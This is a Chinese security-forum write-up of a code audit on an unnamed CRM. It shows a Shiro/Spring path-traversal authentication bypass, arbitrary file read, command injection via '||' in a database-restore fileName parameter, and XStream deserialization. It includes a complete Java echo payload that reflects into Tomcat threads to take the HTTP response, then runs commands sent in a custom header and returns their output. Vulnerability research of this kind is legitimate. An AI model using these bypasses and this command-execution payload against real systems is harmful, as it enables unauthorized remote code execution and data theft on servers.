问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某CRM代码审计之旅-多漏洞绕过与发现
漏洞分析
某CRM的代码审计之旅
某CRM的代码审计之旅 =========== 0x01 权限绕过 --------- 该项目使用了shiro进行权限验证  查看依赖版本,发现该版本配合spring存在认证绕过漏洞 shiro通过org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain来匹配路由和过滤器 ```java public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = this.getFilterChainManager(); if (!filterChainManager.hasChains()) { return null; } else { String requestURI = this.getPathWithinApplication(request); if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) { requestURI = requestURI.substring(0, requestURI.length() - 1); } Iterator var6 = filterChainManager.getChainNames().iterator(); String pathPattern; do { if (!var6.hasNext()) { return null; } pathPattern = (String)var6.next(); if (pathPattern != null && !"/".equals(pathPattern) && pathPattern.endsWith("/")) { pathPattern = pathPattern.substring(0, pathPattern.length() - 1); } } while(!this.pathMatches(pathPattern, requestURI)); return filterChainManager.proxy(originalChain, pathPattern); } } ``` http请求的路由通过`getPathWithinApplication`方法获取,最终调用`org.apache.shiro.web.util.WebUtils#getRequestUri`方法 ```java public static String getRequestUri(HttpServletRequest request) { String uri = (String)request.getAttribute("javax.servlet.include.request_uri"); if (uri == null) { uri = request.getRequestURI(); } return normalize(decodeAndCleanUriString(request, uri)); } ``` 该方法核心是`decodeAndCleanUriString`和`normalize`两个方法来处理请求url - `decodeAndCleanUriString`: 主要是讲`;`之前的路径保留而舍弃之后的部分,即`/aa/..;/bbb`被处理为`/aa/..` - `normalize` - 替换反斜线 - 替换 `//` 为 `/` - 替换 `/./` 为 `/` - 替换 `/../` 为 `/` 单看好像都没问题但是组合起来就丸辣。比如我们配置shiro的拦截配置 ```java map.put("/home/**","anon"); //anon 表示未授权访问 map.put("/admin/*","authc"); //authc 表示需要权限认证 shiroFilterFactoryBean.setFilterChainDefinitionMap(map); ``` 要是我们构造`/home/..;/admin/xxx` ,shiro通过上述操作获取到的URI为`/home/..`,会命中`"/home/**","anon"`从而不进行认证。 当shiro放行请求后会交给spring处理,而在spring中对于请求路径又有自己的处理逻辑 其在`org.springframework.web.util.UrlPathHelper`中存在spring实现的`getRequestUri`方法 ```java public String getRequestUri(HttpServletRequest request) { String uri = (String)request.getAttribute("javax.servlet.include.request_uri"); if (uri == null) { uri = request.getRequestURI(); } return this.decodeAndCleanUriString(request, uri); } ``` 然后通过`decodeAndCleanUriString`来处理请求url ```java private String decodeAndCleanUriString(HttpServletRequest request, String uri) { uri = this.removeSemicolonContent(uri); uri = this.decodeRequestString(request, uri); uri = this.getSanitizedPath(uri); return uri; } ``` 其中的三个方法主要是过滤`;`、urldecode和过滤`//`,最终的`/home/..;/admin`变成`/home/../admin`定位到admin的路由。 整体的流程就是 1. 客户端请求URL: `/home/..;/admin/index` 2. shrio 内部处理得到校验URL为 `/home/..,`校验通过 3. spring 处理 `/home/..;/admin/index` , 请求 `/admin/index`, 成功访问鉴权接口 0x02 任意文件读取 ----------- 我们找一个漏洞来测试一下鉴权绕过,有关文件加载操作的类和方法主要有 ```java File FileInputStream BufferedInputStream InputStream getName read write getFile getWriter download (危险的路由名) ... ``` 根据上述思路,我们找的在`xxxLogController`,找的了`download`方法 ```java public void download(String path, HttpServletRequest request, HttpServletResponse response) { try { File file = new File(path); String filename = file.getName(); InputStream fis = new BufferedInputStream(new FileInputStream(path)); byte[] buffer = new byte[fis.available()]; fis.read(buffer); fis.close(); response.reset(); response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.replaceAll(" ", "").getBytes("utf-8"), "iso8859-1")); response.addHeader("Content-Length", "" + file.length()); OutputStream os = new BufferedOutputStream(response.getOutputStream()); response.setContentType("application/octet-stream"); os.write(buffer); os.flush(); os.close(); } catch (Exception var9) { this.logger.error("下载文件失败", var9); } } ``` 其根据传入`fileName`直接获取文件内容返回给response。 ### 复现 直接访问会跳转登录页  利用`/..;/`进行绕过  成功读取到目标文件,证明鉴权绕过可行。 0x03 命令执行 --------- 既然看到读取如此简单,那我们再扩大危害看看有没有可以RCE点。 查找`Runtime.getRuntime`方法的调用,找的了`exeCommand`方法实现 ```java private void exeCommand(String command) throws IOException { logger.info("MySQL数据库正执行命令:" + command); Runtime runtime = Runtime.getRuntime(); Process exec = runtime.exec(command); try { exec.waitFor(); } catch (InterruptedException var5) { logger.error("MySQL数据库执行命令出错:" + var5.getMessage(), var5); } } ``` 因为是私有方法,直接同类中向上找的了调用方法 ```java public void doRestore(String fileName) { String sqlFile = fileName; ... if (osName.toLowerCase().startsWith("windows")) { mysqldump = "cmd /c \"" + this.mysqlPath + "mysql\""; } else { mysqldump = this.mysqlPath + "mysql"; } StringBuffer sbCommand = new StringBuffer(); sbCommand.append(mysqldump).append(" -u").append(this.username).append(" -p").append(this.password).append(" -h").append(this.host).append(" -P").append(this.port).append(" -B ").append(this.database).append(" < ").append(this.exportPath + sqlFile); try { this.exeCommand(sbCommand.toString()); } catch (IOException var6) { } } ``` 构造的执行语句为: ```shell cmd /c mysqlPath/mysql -u UserName -p Password -h host -P xx -B xx < sqlFile ``` 而其中sqlFile是通过参数传入fileName的,这里可以用`||`来绕过执行任意命令  该类属于Service层,我们要找到Controller层对其的调用,利用jar-analyzer工具的表达式搜索 ```php #method .isStatic(false) .hasClassAnno("Controller") .hasAnno("RequestMapping") .hasField("backupService") ``` 该表达式是寻找一个方法,其不是静态方法,类注释为`Controller`,方法注释为`RequestMapping`(表示是一个http接口),并且存在变量名为`backupService`(遵循该系统service层定义命名规律)。 最终找到如下方法 ```java @RequestMapping({"/restore"}) @ResponseBody public String doRestore(@RequestParam String fileName) { try { this.backupService.doRestore(fileName); } catch (Exception var3) { var3.printStackTrace(); throw new CommonException(var3.getMessage()); } return I18n.i18nMessage("adp_db.success "); } ``` ### 复现 构造poc测试,成功访问  0x04 反序列化 --------- 查看shiro过程中看到了几个低版本组件,比如xstream,我们用jar-analyzer查找例如`fromXML`等触发反序列化的方法 在WechatxxxService类中找的一处调用  可以看到对整个request body进行了fromXML转换,因为时Service层我们还是可以通过之前方法快速找的controller层的调用  ### 复现 利用`woodpecker`生成poc  访问接口构造请求,成功接受到请求  这样似乎不太完美,我们尝试构造回显 ### 回显 对于tomcat下构造回显链主要是找到全局存储了request和response的类,通过tomcat启动时线程中的变量一步步反射获得request和response变量 > 基于全局存储思路出现了两种获取request和response的方法: > > - 方法一:通过 `WebappClassLoaderBase`来获取 Tomcat 上下文的联系,进而获取AbstractProtocol$ConnectoinHandler(不适用Tomcat7) > > WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response > - 方法二:通过遍历线程获取 NioEndpoint,进而获取AbstractProtocol$ConnectoinHandler(适用于Tomcat7/8/9) > > Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response > > 两种方法的区别在于用了不同的方法获取`AbstractProtocol$ConnectoinHandler` 通过Thread.currentThread().getThreadGroup() 获取到全部线程中有关线程有: - http-nio-8080-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理 - http-nio-8080-exec\* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑 - http-nio-8080-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理 其中Acceptor和Poller线程用于协议解析处理 所以除了网上常见的通过`http-nio-port-Poller`获取成员变量`NioEndpoint$Poller`,然后通过$this0获取到父类对象`NioEndpoint`外,还可以通过`http-nio-8080-Acceptor`来获取 在`org.apache.tomcat.util.net.Acceptor`存在构造方法 ```java public Acceptor(AbstractEndpoint<?, U> endpoint) { this.state = Acceptor.AcceptorState.NEW; this.endpoint = endpoint; } ``` 传入`AbstractEndpoint`类型的对象赋值给`endpoint`成员变量,而我们所要找的`NioEndpoint`继承自该类,且通过调试  创建Acceptor线程时初始化传入变量确实`NioEndpoint`类型 详细链路如下: ```php Thread.getThreads ---> http-nio-8080-Acceptor ---> endpoint(NioEndpoint) ---> handler(AbstractProtocol$ConnectoinHandler) ---> global(RequestGroupInfo) ---> RequestInfo--->Request --->Response ``` 代码实现如下: ```java package org.apache.ha; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Scanner; public class HttpUtil extends AbstractTranslet { private String getReqHeaderName() { return "Accept-Hkdxgumzuw"; } public HttpUtil() { run(); } private void run() { Field var3; Field var32; Field var33; String var7; try { Method var0 = Thread.class.getDeclaredMethod("getThreads", new Class[0]); var0.setAccessible(true); Thread[] var1 = (Thread[]) var0.invoke(null, new Object[0]); for (int var2 = 0; var2 < var1.length; var2++) { // 遍历线程池,找的http-nio-8080-Acceptor线程 if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) { Field var34 = var1[var2].getClass().getDeclaredField("target"); var34.setAccessible(true); Object var4 = var34.get(var1[var2]); //获取NioEndpoint对象 try { var3 = var4.getClass().getDeclaredField("endpoint"); } catch (NoSuchFieldException e) { var3 = var4.getClass().getDeclaredField("this$0"); } var3.setAccessible(true); Object var42 = var3.get(var4); //获取AbstractProtocol$ConnectoinHandler对象 try { var32 = var42.getClass().getDeclaredField("handler"); } catch (NoSuchFieldException e2) { try { var32 = var42.getClass().getSuperclass().getDeclaredField("handler"); } catch (NoSuchFieldException e3) { var32 = var42.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } } var32.setAccessible(true); Object var43 = var32.get(var42); try { var33 = var43.getClass().getDeclaredField("global"); } catch (NoSuchFieldException e4) { var33 = var43.getClass().getSuperclass().getDeclaredField("global"); } var33.setAccessible(true); Object var44 = var33.get(var43); var44.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo"); if (var44.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) { Field var35 = var44.getClass().getDeclaredField("processors"); var35.setAccessible(true); ArrayList var5 = (ArrayList) var35.get(var44); int var6 = 0; while (true) { if (var6 < var5.size()) { Field var36 = var5.get(var6).getClass().getDeclaredField("req"); var36.setAccessible(true); Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1); try { var7 = (String) var36.get(var5.get(var6)).getClass().getMethod("getHeader", String.class).invoke(var36.get(var5.get(var6)), getReqHeaderName()); } catch (Exception e5) { } if (var7 == null) { var6++; } else { Object response = var45.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var45, new Object[0]); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(exec(var7)); writer.flush(); writer.close(); break; } } } } } } } catch (Throwable th) { } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes = execRes + s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } } ``` 而在`AbstractProcessor`中的request和response其实是`org.apache.coyote`下的,但是回显的话需要`org.apache.catalina.connector.Request`这个类。 这两个Request有啥区别: - `org.apache.catalina.connector.Request`主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息 - `org.apache.coyote.Request`主要用于底层网络请求的处理和解析。 在`org.apache.coyote.Request` 类中有一个方法返回`org.apache.catalina.connector.Request` 类  但是存储`org.apache.catalina.connector.Request` 类对象的`notes`数组第一个元素为null,第二个才是我们要找的Request对象  故反射调用`getNote`时传参为1: ```php Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1); ``` 因为我们本次xstream反序列化所用到的poc是利用`TemplatesImpl`类,  其在加载class后检测这个类是不是继承自`AbstractTranslet`,所以我们需要添加继承关系。 我们将其class数据转为base64,然后替换之前生成的poc中byte-array的内容  成功回显出执行的命令
发表于 2025-02-26 09:57:55
阅读 ( 7421 )
分类:
漏洞分析
0 推荐
收藏
1 条评论
johnxiaobai
2025-02-26 22:16
师傅能给个源码一起复现不?
请先
登录
后评论
请先
登录
后评论
中铁13层打工人
79 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!